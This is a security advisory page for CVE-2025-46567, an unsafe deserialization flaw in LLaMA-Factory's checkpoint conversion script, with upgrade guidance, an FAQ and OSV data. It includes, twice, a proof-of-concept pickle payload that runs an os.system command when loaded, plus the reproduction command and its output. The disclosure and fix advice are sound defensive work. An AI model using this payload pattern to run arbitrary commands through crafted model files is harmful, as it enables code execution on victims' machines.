CVE-2025-46567: Llamafactory LLaMA-Factory Allows Arbitrary Code Execution Vulnerability

MODERATE
Advisory Identifier: GHSA-f2f7-gj54-6vpv
CVSS 6.1
CWE-502
Published
Advisory Summary

CVE-2025-46567 is a MODERATE (CVSS 6.1) llama-factory allows arbitrary code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Llamafactory libraries in the PyPI ecosystem. The issue involves llama-factory allows arbitrary code execution via unsafe deserialization in ilamafy_baichuan2.py. Remediation is available by upgrading affected packages to version 0.9.3.

CVE-2025-46567 at a Glance

CVE Identifier CVE-2025-46567
GHSA Identifier GHSA-f2f7-gj54-6vpv
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Llamafactory
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2025-46567

To remediate this vulnerability, upgrade all affected Llamafactory dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

llamafactory fixed: 0.9.3
pip install llamafactory>=0.9.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show llamafactory

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-46567, inspect your installed packages using pip:

pip show llamafactory

Analyze the terminal output to locate any version of Llamafactory in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.3), your application is affected.

Note: The pip show llamafactory command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Llamafactory, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Description A critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization. ### Attack Vector This vulnerability is **exploitable without authentication or privileges** when a user is tricked into: 1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo). 2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow. No elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`. ### Impact - Arbitrary command execution (RCE) - System compromise - Persistence or lateral movement in shared compute environments ### Proof of Concept (PoC) ```python # malicious_payload.py import torch, pickle, os class MaliciousPayload: def __reduce__(self): return (os.system, ("mkdir HACKED!",)) # Arbitrary command malicious_data = { "v_head.summary.weight": MaliciousPayload(), "v_head.summary.bias": torch.randn(10) } with open("value_head.bin", "wb") as f: pickle.dump(malicious_data, f) ``` An example of `config.json`: ```json { "model": "value_head.bin", "hidden_size": 4096, "num_attention_heads": 32, "num_hidden_layers": 24, "initializer_range": 0.02, "intermediate_size": 11008, "max_position_embeddings": 4096, "kv_channels": 128, "layer_norm_epsilon": 1e-5, "tie_word_embeddings": false, "vocab_size": 151936 } ``` ```bash (base) root@d6ab70067470:~/LLaMA-Factory_latest# tree . `-- LLaMA-Factory |-- LICENSE |-- README.md |-- malicious_folder | |-- config.json | `-- value_head.bin `-- xxxxx(Irrelevant documents omitted) ``` ```bash # Reproduction python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out ``` ➡️ Running this will execute the malicious payload and create a `HACKED!` folder. ```bash (base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls CITATION.cff LICENSE MANIFEST.in Makefile README.md README_zh.md assets data docker evaluation examples malicious_folder pyproject.toml requirements.txt scripts setup.py src tests (base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out 2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered WARNING: All log messages before absl::InitializeLog() is called are written to STDERR E0000 00:00:1745393818.451398 1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered E0000 00:00:1745393818.456423 1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered 2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations. To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags. Load weights: 50%|██████████████████████████████████████████████████████████████████████████████████▌ | 1/2 [00:00<00:00, 123.70it/s] Traceback (most recent call last): File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 112, in <module> fire.Fire(llamafy_baichuan2) File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 135, in Fire component_trace = _Fire(component, args, parsed_flag_args, context, name) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 468, in _Fire component, remaining_args = _CallAndUpdateTrace( ^^^^^^^^^^^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 684, in _CallAndUpdateTrace component = fn(*varargs, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^ File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 107, in llamafy_baichuan2 save_weight(input_dir, output_dir, shard_size, save_safetensors) File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 35, in save_weight shard_weight = torch.load(os.path.join(input_dir, filepath), map_location="cpu") ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1040, in load return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1260, in _legacy_load raise RuntimeError("Invalid magic number; corrupt file?") RuntimeError: Invalid magic number; corrupt file? (base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls CITATION.cff LICENSE Makefile README_zh.md data evaluation malicious_folder pyproject.toml scripts src 'HACKED!' MANIFEST.in README.md assets docker examples out requirements.txt setup.py tests ``` ### Affected File(s) - https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35 - `scripts/convert_ckpt/llamafy_baichuan2.py` - Line: `torch.load(os.path.join(input_dir, filepath), map_location="cpu")` ### Suggested Fix - Replace `torch.load()` with safer alternatives like `safetensors`. - Validate and whitelist file types before deserialization. - Require checksum validation. Example patch: ```python # Replace torch.load() with safe deserialization try: from safetensors.torch import load_file tensor_data = load_file(filepath) except Exception: print("Invalid or unsafe checkpoint file.") return ``` ### Workarounds - Avoid running the script with untrusted `.bin` files. - Use containers or VMs to isolate script execution. ### References - [torch.load() — PyTorch Docs](https://pytorch.org/docs/stable/generated/torch.load.html) - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html) ### Credits Discovered and reported by [Yu Rong](https://github.com/Anchor0221) and [Hao Fan](https://github.com/xhjy2020), 2025-04-23

CVE-2025-46567 Affected Llamafactory Versions

1 component(s)
Fixed Versions:
0.9.3
Product / Package Ecosystem Affected Versions Fixed Version
llamafactory
PyPI
< 0.9.3
0.9.3

References

Frequently Asked Questions

What is CVE-2025-46567?
CVE-2025-46567 is a security vulnerability in Llamafactory involving LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py under CWE-502: Deserialization of Untrusted Data.
Which Llamafactory versions are affected?
Affected versions include releases prior to 0.9.3 across affected packages: llamafactory.
What version fixes CVE-2025-46567?
Upgrading to 0.9.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is llamafactory affected?
Yes, llamafactory is affected in releases prior to 0.9.3. Upgrade your dependency to 0.9.3 or later.
What is the CVSS score of CVE-2025-46567?
CVE-2025-46567 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L.
What CWE is associated with CVE-2025-46567?
CVE-2025-46567 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check PyPI dependencies for CVE-2025-46567?
Run the dependency tree command: 'pip show llamafactory'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f2f7-gj54-6vpv",
  "modified" : "2025-06-28T00:04:00Z",
  "published" : "2025-04-23T22:21:13Z",
  "aliases" : [ "CVE-2025-46567" ],
  "summary" : "LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py",
  "details" : "### Description\n\nA critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.\n\n### Attack Vector\n\nThis vulnerability is **exploitable without authentication or privileges** when a user is tricked into:\n\n1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo).\n2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.\n\nNo elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`. \n\n### Impact\n\n- Arbitrary command execution (RCE)\n- System compromise\n- Persistence or lateral movement in shared compute environments\n\n\n### Proof of Concept (PoC)\n\n```python\n# malicious_payload.py\nimport torch, pickle, os\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (os.system, (\"mkdir HACKED!\",))  # Arbitrary command\n\nmalicious_data = {\n    \"v_head.summary.weight\": MaliciousPayload(),\n    \"v_head.summary.bias\": torch.randn(10)\n}\n\nwith open(\"value_head.bin\", \"wb\") as f:\n    pickle.dump(malicious_data, f)\n```\n\nAn example of `config.json`:\n\n```json\n{\n  \"model\": \"value_head.bin\",\n  \"hidden_size\": 4096,\n  \"num_attention_heads\": 32,\n  \"num_hidden_layers\": 24,\n  \"initializer_range\": 0.02,\n  \"intermediate_size\": 11008,\n  \"max_position_embeddings\": 4096,\n  \"kv_channels\": 128,\n  \"layer_norm_epsilon\": 1e-5,\n  \"tie_word_embeddings\": false,\n  \"vocab_size\": 151936\n}\n```\n\n```bash\n(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree\n.\n`-- LLaMA-Factory\n    |-- LICENSE\n    |-- README.md\n    |-- malicious_folder\n    |   |-- config.json\n    |   `-- value_head.bin\n    `-- xxxxx(Irrelevant documents omitted)\n```\n\n\n```bash\n# Reproduction\npython scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out\n```\n\n➡️ Running this will execute the malicious payload and create a `HACKED!` folder.\n\n```bash\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls\nCITATION.cff  LICENSE  MANIFEST.in  Makefile  README.md  README_zh.md  assets  data  docker  evaluation  examples  malicious_folder  pyproject.toml  requirements.txt  scripts  setup.py  src  tests\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out\n2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nE0000 00:00:1745393818.451398    1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered\nE0000 00:00:1745393818.456423    1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered\n2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.\nTo enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.\nLoad weights:  50%|██████████████████████████████████████████████████████████████████████████████████▌                                                                                  | 1/2 [00:00<00:00, 123.70it/s]\nTraceback (most recent call last):\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 112, in <module>\n    fire.Fire(llamafy_baichuan2)\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 135, in Fire\n    component_trace = _Fire(component, args, parsed_flag_args, context, name)\n                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 468, in _Fire\n    component, remaining_args = _CallAndUpdateTrace(\n                                ^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 684, in _CallAndUpdateTrace\n    component = fn(*varargs, **kwargs)\n                ^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 107, in llamafy_baichuan2\n    save_weight(input_dir, output_dir, shard_size, save_safetensors)\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 35, in save_weight\n    shard_weight = torch.load(os.path.join(input_dir, filepath), map_location=\"cpu\")\n                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py\", line 1040, in load\n    return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py\", line 1260, in _legacy_load\n    raise RuntimeError(\"Invalid magic number; corrupt file?\")\nRuntimeError: Invalid magic number; corrupt file?\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls\n CITATION.cff   LICENSE       Makefile    README_zh.md   data     evaluation   malicious_folder   pyproject.toml     scripts    src\n'HACKED!'       MANIFEST.in   README.md   assets         docker   examples     out                requirements.txt   setup.py   tests\n```\n\n### Affected File(s)\n\n- https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35\n- `scripts/convert_ckpt/llamafy_baichuan2.py`\n- Line: `torch.load(os.path.join(input_dir, filepath), map_location=\"cpu\")`\n\n### Suggested Fix\n\n- Replace `torch.load()` with safer alternatives like `safetensors`.\n- Validate and whitelist file types before deserialization.\n- Require checksum validation.\n\nExample patch:\n\n```python\n# Replace torch.load() with safe deserialization\ntry:\n    from safetensors.torch import load_file\n    tensor_data = load_file(filepath)\nexcept Exception:\n    print(\"Invalid or unsafe checkpoint file.\")\n    return\n```\n\n### Workarounds\n\n- Avoid running the script with untrusted `.bin` files.\n- Use containers or VMs to isolate script execution.\n\n### References\n\n- [torch.load() — PyTorch Docs](https://pytorch.org/docs/stable/generated/torch.load.html)\n- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n\n### Credits\n\nDiscovered and reported by [Yu Rong](https://github.com/Anchor0221) and [Hao Fan](https://github.com/xhjy2020), 2025-04-23",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "llamafactory"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.9.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-f2f7-gj54-6vpv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-46567"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/hiyouga/LLaMA-Factory/commit/2989d39239d2f46e584c1e1180ba46b9768afb2a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/hiyouga/LLaMA-Factory"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-04-23T22:21:13Z",
    "nvd_published_at" : "2025-05-01T18:15:58Z"
  }
}